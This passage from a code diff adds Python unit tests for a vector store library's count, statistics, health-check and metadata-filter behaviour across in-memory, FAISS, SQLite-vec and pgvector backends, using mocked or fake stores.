+    def setUp(self):
+        self.vectors = [np.array([1.0, 0.0]), np.array([0.0, 1.0])]
+        self.metadata = [{"type": "a"}, {"type": "b"}]
+
+    def test_count_inmemory(self):
+        store = VectorStore(backend="inmemory", dimension=2)
+        store.store_vectors(self.vectors, self.metadata)
+        self.assertEqual(store.count(), 2)
+
+    def test_count_empty_inmemory(self):
+        store = VectorStore(backend="inmemory", dimension=2)
+        self.assertEqual(store.count(), 0)
+
+    def test_count_delegates_to_backend_store(self):
+        store = VectorStore(backend="inmemory", dimension=2)
+        store.backend = "faiss"
+        store._backend_store = _CountingBackendStore(7)
+        self.assertEqual(store.count(), 7)
+
+    def test_count_raises_not_implemented_without_backend_support(self):
+        store = VectorStore(backend="inmemory", dimension=2)
+        store.backend = "faiss"
+        store._backend_store = _NonCountingBackendStore()
+        with self.assertRaises(NotImplementedError):
+            store.count()
+
+    def test_count_raises_when_persistent_backend_not_initialized(self):
+        # A persistent backend with no wrapped store must not silently
+        # report 0 — that masks a missing initialization as an empty,
+        # healthy store.  Follow the get_vector()/get_metadata() precedent.
+        store = VectorStore(backend="inmemory", dimension=2)
+        store.backend = "faiss"
+        store._backend_store = None
+        with self.assertRaises(NotImplementedError):
+            store.count()
+
+    def test_count_raises_when_backend_count_not_callable(self):
+        # A mis-shaped adapter exposing a non-callable ``count`` attribute
+        # must surface a clean NotImplementedError, not a TypeError.
+        store = VectorStore(backend="inmemory", dimension=2)
+        store.backend = "faiss"
+        store._backend_store = _MisShapedBackendStore()
+        with self.assertRaises(NotImplementedError):
+            store.count()
+
+    def test_count_not_implemented_message_describes_requirement(self):
+        """Error message should explain *how* to fix it, not claim only
+        inmemory works (the old misleading message)."""
+        store = VectorStore(backend="inmemory", dimension=2)
+        store.backend = "qdrant"
+        store._backend_store = _NonCountingBackendStore()
+        with self.assertRaises(NotImplementedError) as ctx:
+            store.count()
+        msg = str(ctx.exception)
+        # Must not claim inmemory is the only backend that works
+        self.assertNotIn("only supported for the inmemory", msg)
+        # Must point at what to implement
+        self.assertIn("count()", msg)
+
+
+# ---------------------------------------------------------------------------
+# VectorManager tests — inmemory backend
+# ---------------------------------------------------------------------------
+
+class VectorManagerInmemoryTests(unittest.TestCase):
+    """VectorManager with the inmemory backend — full integrity semantics."""
+
+    def setUp(self):
+        self.vectors = [np.array([1.0, 0.0]), np.array([0.0, 1.0])]
+        self.metadata = [{"type": "a"}, {"type": "b"}]
+        self.manager = VectorManager()
+
+    def _store(self):
+        store = VectorStore(backend="inmemory", dimension=2)
+        store.store_vectors(self.vectors, self.metadata)
+        return store
+
+    def test_collect_statistics_inmemory(self):
+        stats = self.manager.collect_statistics(self._store())
+        self.assertEqual(stats["total_vectors"], 2)
+        self.assertEqual(stats["dimension"], 2)
+        self.assertEqual(stats["backend"], "inmemory")
+
+    def test_collect_statistics_empty_inmemory(self):
+        store = VectorStore(backend="inmemory", dimension=2)
+        stats = self.manager.collect_statistics(store)
+        self.assertEqual(stats["total_vectors"], 0)
+
+    def test_maintain_store_inmemory_healthy(self):
+        health = self.manager.maintain_store(self._store())
+        self.assertTrue(health["healthy"])
+        self.assertEqual(health["vector_count"], 2)
+        self.assertEqual(health["metadata_count"], 2)
+
+    def test_maintain_store_inmemory_empty(self):
+        store = VectorStore(backend="inmemory", dimension=2)
+        health = self.manager.maintain_store(store)
+        self.assertTrue(health["healthy"])
+        self.assertEqual(health["vector_count"], 0)
+        self.assertEqual(health["metadata_count"], 0)
+
+    def test_maintain_store_inmemory_detects_divergence(self):
+        """Artificially diverge vectors and metadata — must report unhealthy."""
+        store = VectorStore(backend="inmemory", dimension=2)
+        store.store_vectors(self.vectors, self.metadata)
+        # Inject an extra metadata entry with no matching vector
+        store.metadata["orphan"] = {"type": "orphan"}
+        health = self.manager.maintain_store(store)
+        self.assertFalse(health["healthy"])
+        self.assertEqual(health["vector_count"], 2)
+        self.assertEqual(health["metadata_count"], 3)
+
+
+# ---------------------------------------------------------------------------
+# VectorManager tests — persistent backends (dispatch level)
+# ---------------------------------------------------------------------------
+
+class VectorManagerPersistentDispatchTests(unittest.TestCase):
+    """VectorManager with fake persistent backends — dispatch/contract tests."""
+
+    def setUp(self):
+        self.vectors = [np.array([1.0, 0.0]), np.array([0.0, 1.0])]
+        self.metadata = [{"type": "a"}, {"type": "b"}]
+        self.manager = VectorManager()
+
+    def _persistent_store(self, backend_store, backend_name="faiss"):
+        """Create a VectorStore instance whose backend is swapped to a fake."""
+        store = VectorStore(backend="inmemory", dimension=2)
+        store.backend = backend_name
+        store._backend_store = backend_store
+        return store
+
+    # -- collect_statistics --------------------------------------------------
+
+    def test_collect_statistics_persistent_with_count(self):
+        store = self._persistent_store(_CountingBackendStore(5))
+        stats = self.manager.collect_statistics(store)
+        self.assertEqual(stats["total_vectors"], 5)
+        self.assertEqual(stats["dimension"], 2)
+        self.assertEqual(stats["backend"], "faiss")
+
+    def test_collect_statistics_persistent_without_count_raises(self):
+        """Must raise NotImplementedError, not AttributeError (#855)."""
+        store = self._persistent_store(_NonCountingBackendStore())
+        with self.assertRaises(NotImplementedError):
+            self.manager.collect_statistics(store)
+
+    # -- maintain_store ------------------------------------------------------
+
+    def test_maintain_store_persistent_with_count(self):
+        store = self._persistent_store(_CountingBackendStore(5))
+        health = self.manager.maintain_store(store)
+        self.assertTrue(health["healthy"])
+        self.assertEqual(health["vector_count"], 5)
+        # Persistent backends cannot independently verify metadata count.
+        self.assertIsNone(health["metadata_count"])
+
+    def test_maintain_store_persistent_metadata_count_is_none_not_vacuous(self):
+        """Regression for Qodo review #914: maintain_store must not
+        manufacture metadata_count = vector_count to force healthy=True.
+        The only way to confirm metadata integrity for a persistent backend
+        is through the backend itself, so metadata_count must be None.
+        """
+        store = self._persistent_store(_CountingBackendStore(3))
+        health = self.manager.maintain_store(store)
+        # metadata_count must be None — never equal to vector_count because
+        # we didn't actually verify it; we simply don't have the information.
+        self.assertIsNone(health["metadata_count"])
+        # vector_count comes from the real count() call, not fabricated.
+        self.assertEqual(health["vector_count"], 3)
+
+    def test_maintain_store_persistent_without_count_raises(self):
+        """Must raise NotImplementedError, not AttributeError (#855)."""
+        store = self._persistent_store(_NonCountingBackendStore())
+        with self.assertRaises(NotImplementedError):
+            self.manager.maintain_store(store)
+
+    def test_maintain_store_persistent_not_initialized_raises(self):
+        store = VectorStore(backend="inmemory", dimension=2)
+        store.backend = "qdrant"
+        store._backend_store = None
+        with self.assertRaises(NotImplementedError):
+            self.manager.maintain_store(store)
+
+    def test_maintain_store_zero_count_not_confused_with_unhealthy(self):
+        """An empty but reachable persistent store is healthy (count=0)."""
+        store = self._persistent_store(_CountingBackendStore(0))
+        health = self.manager.maintain_store(store)
+        self.assertTrue(health["healthy"])
+        self.assertEqual(health["vector_count"], 0)
+        self.assertIsNone(health["metadata_count"])
+
+
+# ---------------------------------------------------------------------------
+# FAISSStore.count() — unit tests with mocked faiss
+# ---------------------------------------------------------------------------
+
+class FAISSStoreCountTests(unittest.TestCase):
+    """FAISSStore.count() returns len(index.vector_ids)."""
+
+    @patch("semantica.vector_store.faiss_store.faiss")
+    @patch("semantica.vector_store.faiss_store.FAISS_AVAILABLE", True)
+    def test_count_after_add(self, mock_faiss):
+        from semantica.vector_store.faiss_store import FAISSStore
+
+        mock_index = MagicMock()
+        mock_faiss.IndexFlatL2.return_value = mock_index
+
+        store = FAISSStore(dimension=2)
+        store.create_index()
+
+        vecs = [np.array([1.0, 0.0]), np.array([0.0, 1.0])]
+        store.add_vectors(vecs)
+        self.assertEqual(store.count(), 2)
+
+    @patch("semantica.vector_store.faiss_store.faiss")
+    @patch("semantica.vector_store.faiss_store.FAISS_AVAILABLE", True)
+    def test_count_empty_no_index(self, mock_faiss):
+        from semantica.vector_store.faiss_store import FAISSStore
+
+        store = FAISSStore(dimension=2)
+        # No index created yet — count() must return 0, not raise.
+        self.assertEqual(store.count(), 0)
+
+    @patch("semantica.vector_store.faiss_store.faiss")
+    @patch("semantica.vector_store.faiss_store.FAISS_AVAILABLE", True)
+    def test_count_via_vectorstore_faiss_backend(self, mock_faiss):
+        """VectorStore.count() delegates to FAISSStore.count()."""
+        from semantica.vector_store.faiss_store import FAISSStore
+
+        mock_index = MagicMock()
+        mock_faiss.IndexFlatL2.return_value = mock_index
+
+        faiss_store = FAISSStore(dimension=2)
+        faiss_store.create_index()
+        faiss_store.add_vectors([np.array([1.0, 0.0])])
+
+        vs = VectorStore(backend="inmemory", dimension=2)
+        vs.backend = "faiss"
+        vs._backend_store = faiss_store
+
+        self.assertEqual(vs.count(), 1)
+
+
+# ---------------------------------------------------------------------------
+# SQLiteVecStore.count() — unit tests with a real in-memory SQLite DB
+# ---------------------------------------------------------------------------
+
+try:
+    from semantica.vector_store.sqlite_vec_store import SQLITE_VEC_AVAILABLE
+except ImportError:
+    SQLITE_VEC_AVAILABLE = False
+
+
+@unittest.skipUnless(SQLITE_VEC_AVAILABLE, "sqlite-vec not installed")
+class SQLiteVecStoreCountTests(unittest.TestCase):
+    """SQLiteVecStore.count() executes SELECT COUNT(*) against the db."""
+
+    def _make_store(self, dimension: int = 2):
+        """Return a SQLiteVecStore backed by an in-memory SQLite database."""
+        from semantica.vector_store.sqlite_vec_store import SQLiteVecStore
+
+        # Use ":memory:" for isolation; each test gets a fresh store.
+        store = SQLiteVecStore(
+            db_path=":memory:",
+            table_name="vecs",
+            dimension=dimension,
+            distance_metric="cosine",
+        )
+        return store
+
+    def test_count_empty_store(self):
+        store = self._make_store()
+        self.assertEqual(store.count(), 0)
+
+    def test_count_after_add(self):
+        store = self._make_store()
+        vecs = [np.array([1.0, 0.0], dtype=np.float32),
+                np.array([0.0, 1.0], dtype=np.float32)]
+        meta = [{"k": "a"}, {"k": "b"}]
+        store.add(vecs, meta)
+        self.assertEqual(store.count(), 2)
+
+    def test_count_after_delete(self):
+        store = self._make_store()
+        vecs = [np.array([1.0, 0.0], dtype=np.float32),
+                np.array([0.0, 1.0], dtype=np.float32)]
+        meta = [{"k": "a"}, {"k": "b"}]
+        ids = store.add(vecs, meta)
+        store.delete([ids[0]])
+        self.assertEqual(store.count(), 1)
+
+    def test_count_matches_get_stats(self):
+        store = self._make_store()
+        vecs = [np.array([1.0, 0.0], dtype=np.float32)]
+        store.add(vecs, [{"k": "x"}])
+        stats = store.get_stats()
+        self.assertEqual(store.count(), stats["vector_count"])
+
+    def test_vectorstore_count_with_sqlite_backend(self):
+        """VectorStore.count() delegates to SQLiteVecStore.count()."""
+        store = self._make_store()
+        vecs = [np.array([1.0, 0.0], dtype=np.float32),
+                np.array([0.0, 1.0], dtype=np.float32)]
+        store.add(vecs, [{}, {}])
+
+        vs = VectorStore(backend="inmemory", dimension=2)
+        vs.backend = "sqlite"
+        vs._backend_store = store
+        self.assertEqual(vs.count(), 2)
+
+    def test_maintain_store_sqlite_via_vectorstore(self):
+        """maintain_store() works end-to-end with a real SQLiteVecStore."""
+        store = self._make_store()
+        vecs = [np.array([1.0, 0.0], dtype=np.float32)]
+        store.add(vecs, [{}])
+
+        vs = VectorStore(backend="inmemory", dimension=2)
+        vs.backend = "sqlite"
+        vs._backend_store = store
+
+        manager = VectorManager()
+        health = manager.maintain_store(vs)
+        self.assertTrue(health["healthy"])
+        self.assertEqual(health["vector_count"], 1)
+        self.assertIsNone(health["metadata_count"])
+
+
+# ---------------------------------------------------------------------------
+# PgVectorStore.count() — unit tests with mocked psycopg connection
+# ---------------------------------------------------------------------------
+
+class PgVectorStoreCountTests(unittest.TestCase):
+    """PgVectorStore.count() runs SELECT COUNT(*) via get_stats()."""
+
+    def _make_mock_store(self, row_count: int):
+        """Return a PgVectorStore with its connection pool mocked out."""
+        try:
+            from semantica.vector_store.pgvector_store import PgVectorStore
+        except ImportError:
+            self.skipTest("psycopg not installed")
+
+        store = PgVectorStore.__new__(PgVectorStore)
+        store.logger = MagicMock()
+        store.table_name = "vectors"
+        store.dimension = 2
+        store.distance_metric = "cosine"
+        store._pool = None
+
+        # Build a mock connection context that returns row_count for COUNT(*)
+        mock_conn = MagicMock()
+        mock_cur = MagicMock()
+        mock_cur.fetchone.return_value = (row_count,)
+        mock_cur.fetchall.return_value = []
+        mock_conn.cursor.return_value = mock_cur
+        mock_conn.__enter__ = MagicMock(return_value=mock_conn)
+        mock_conn.__exit__ = MagicMock(return_value=False)
+        store._get_connection = MagicMock(return_value=mock_conn)
+
+        # Stub out psycopg_sql.SQL so the parameterised query builds without
+        # a real psycopg installation.
+        from semantica.vector_store import pgvector_store as pgmod
+        if not hasattr(pgmod, "psycopg_sql") or pgmod.psycopg_sql is None:
+            self.skipTest("psycopg_sql not available in pgvector_store module")
+
+        return store
+
+    def test_count_returns_db_value(self):
+        try:
+            store = self._make_mock_store(9)
+        except Exception:
+            self.skipTest("Could not construct mocked PgVectorStore")
+        self.assertEqual(store.count(), 9)
+
+    def test_count_zero(self):
+        try:
+            store = self._make_mock_store(0)
+        except Exception:
+            self.skipTest("Could not construct mocked PgVectorStore")
+        self.assertEqual(store.count(), 0)
+
+    def test_vectorstore_count_delegates_to_pgvector(self):
+        try:
+            store = self._make_mock_store(4)
+        except Exception:
+            self.skipTest("Could not construct mocked PgVectorStore")
+
+        vs = VectorStore(backend="inmemory", dimension=2)
+        vs.backend = "pgvector"
+        vs._backend_store = store
+        self.assertEqual(vs.count(), 4)
+
+
+if __name__ == "__main__":
+    unittest.main()

tests/vector_store/test_vector_store.py

@@ -137,6 +137,69 @@ class TestVectorStore(unittest.TestCase):
         
         self.assertTrue(mock_backend.called)
 
+    def test_filter_by_metadata_inmemory(self):
+        """Test _filter_by_metadata on inmemory backend."""
+        store = VectorStore(backend="inmemory")
+        store.metadata = {
+            "v1": {"category": "finance", "amount": 100, "tags": ["a", "b"]},
+            "v2": {"category": "finance", "amount": 500, "tags": ["b", "c"]},
+            "v3": {"category": "tech", "amount": 200, "tags": ["c"]},
+        }
+        store.vectors = {
+            "v1": np.array([0.1]),
+            "v2": np.array([0.2]),
+            "v3": np.array([0.3]),
+        }
+
+        # Exact filter
+        results = store._filter_by_metadata({"category": "finance"}, limit=10)
+        self.assertEqual(len(results), 2)
+        res_ids = {r["id"] for r in results}
+        self.assertEqual(res_ids, {"v1", "v2"})
+
+        # Range filter
+        results = store._filter_by_metadata({"amount": {"min": 150}}, limit=10)
+        self.assertEqual(len(results), 2)
+        res_ids = {r["id"] for r in results}
+        self.assertEqual(res_ids, {"v2", "v3"})
+
+        # List intersection filter
+        results = store._filter_by_metadata({"tags": ["a"]}, limit=10)
+        self.assertEqual(len(results), 1)
+        self.assertEqual(results[0]["id"], "v1")
+
+    def test_filter_by_metadata_persistent_backend_delegation(self):
+        """Test that persistent backend delegates filter_by_metadata without AttributeError."""
+        store = VectorStore(backend="inmemory")
+        # Simulate persistent backend by deleting self.metadata attribute if any
+        if hasattr(store, "metadata"):
+            delattr(store, "metadata")
+
+        mock_backend = MagicMock()
+        mock_backend.filter_by_metadata.return_value = [
+            {"id": "p1", "metadata": {"category": "test"}, "vector": np.array([0.5])}
+        ]
+        store._backend_store = mock_backend
+        store.backend = "faiss"
+
+        # Should NOT raise AttributeError: 'VectorStore' object has no attribute 'metadata'
+        results = store._filter_by_metadata({"category": "test"}, limit=5)
+        self.assertEqual(len(results), 1)
+        self.assertEqual(results[0]["id"], "p1")
+        mock_backend.filter_by_metadata.assert_called_once_with(filters={"category": "test"}, limit=5)
+
+    def test_filter_by_metadata_backend_not_implemented(self):
+        """Test that missing filter_by_metadata method raises NotImplementedError."""
+        store = VectorStore(backend="inmemory")
+        if hasattr(store, "metadata"):
+            delattr(store, "metadata")
+
+        store.backend = "unknown"
+        store._backend_store = object()
+
+        with self.assertRaises(NotImplementedError):
+            store._filter_by_metadata({"key": "val"}, limit=10)
+
     def test_save_load_roundtrip_numpy_vectors(self):
         """save()/load() must handle numpy float32 vectors without raising.